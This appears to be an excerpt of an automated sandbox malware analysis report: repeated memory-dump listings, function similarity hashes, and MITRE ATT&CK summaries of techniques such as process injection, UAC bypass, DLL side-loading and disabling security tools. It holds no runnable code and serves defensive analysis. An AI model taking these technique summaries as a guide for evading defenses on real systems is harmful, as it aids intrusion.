Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: 0ac1b63c8f146ec30a78c0a92ce4537d24ea2fb6daf48ebc91858de0343a02a1
Instruction ID: a4ed6e450832ebe5e37881db3b41fbc92bf1cb7664a8e47940d2e89797a39f3f
Opcode Fuzzy Hash: 0ac1b63c8f146ec30a78c0a92ce4537d24ea2fb6daf48ebc91858de0343a02a1
Instruction Fuzzy Hash: 05B1E77290A38E8FCB02CF66C5441DF3BA2FF56320F35446AD841CBA42D2B65D15EB5A

Function 008679ED Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6526e6538f9c79388aa0127abc3cdf409e6b1cf32cf94f8fd57f4151ebdfc3c0
Instruction ID: a56c8f737729af4d9fea2b30029700e24c9e05acee8730293cd1fc3bda4891d5
Opcode Fuzzy Hash: 6526e6538f9c79388aa0127abc3cdf409e6b1cf32cf94f8fd57f4151ebdfc3c0
Instruction Fuzzy Hash: 09417EB250C314AFE715AF59DCC157AFBE9FB88320F128A2DEAC582700E67554448A97

Function 00867113 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3914133877da1888b4be4c2a93e6bee88185592ff253ec09085cb41e4703f207
Instruction ID: f62201caf14bc955cbcebb8b2cb088c5d37a4edef06583dcc51cc47ac4889b37
Opcode Fuzzy Hash: 3914133877da1888b4be4c2a93e6bee88185592ff253ec09085cb41e4703f207
Instruction Fuzzy Hash: DB418FB250C6109FE709AF28D892BBAFBE5EF44710F06492DE6C683750EA355840CBD7

Function 00867A17 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8f60e4b66fe3aa199e1feb85f6ea7ad03ffd4c3eaed2248b461e92813771977
Instruction ID: 12258ae18b2f590ead1dadcb995c8e35c3e08e8a5e22e27d15498f182b5ee28e
Opcode Fuzzy Hash: f8f60e4b66fe3aa199e1feb85f6ea7ad03ffd4c3eaed2248b461e92813771977
Instruction Fuzzy Hash: 893145B250C710AFE715BF59CCD16AAFBE5FB88210F068A2DEAC587700E63564508B97

Function 0087BFAA Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2110383659.000000000086F000.00000040.00000001.01000000.00000006.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000004.00000002.2110092137.00000000006E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110145709.00000000006E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110172633.00000000006EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110201615.00000000006F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110323870.000000000084F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110352169.0000000000851000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110383659.0000000000864000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110445530.0000000000885000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110471594.0000000000886000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110498527.0000000000887000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110526272.0000000000888000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110552952.0000000000889000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110578957.000000000088C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110610649.00000000008A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110637148.00000000008A4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110665330.00000000008AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110693452.00000000008B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110721771.00000000008C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110747959.00000000008C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110773976.00000000008C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110803257.00000000008C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110829419.00000000008C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110855374.00000000008C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110881403.00000000008CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110908522.00000000008CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110934495.00000000008D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110958065.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2110981886.00000000008E0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111005286.00000000008E1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111027889.00000000008E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111051325.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111075313.00000000008E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111098199.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111126073.00000000008FF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111148468.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111171692.0000000000901000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111195643.0000000000907000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111219258.000000000090F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111242699.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111266695.000000000091B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111291219.000000000091F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111320878.000000000093C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111344655.000000000093F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.000000000097B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111381820.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111432992.0000000000992000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2111455827.0000000000994000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6e0000_T4SWNFFH9VCKTA3D54ZZ0K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f817d4815a7ea3a981295328bac12a63f088afa0da608cd2811df5c60b44ad22
Instruction ID: d814d4e15a592e187d1a3ef1c825fb9df4157d178b7a24674a7c30b0692f4207
Opcode Fuzzy Hash: f817d4815a7ea3a981295328bac12a63f088afa0da608cd2811df5c60b44ad22
Instruction Fuzzy Hash: 78E086360082019ED7009F54C845A9FFBF5FF19310F209845F484CB722C3398C41CB29

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
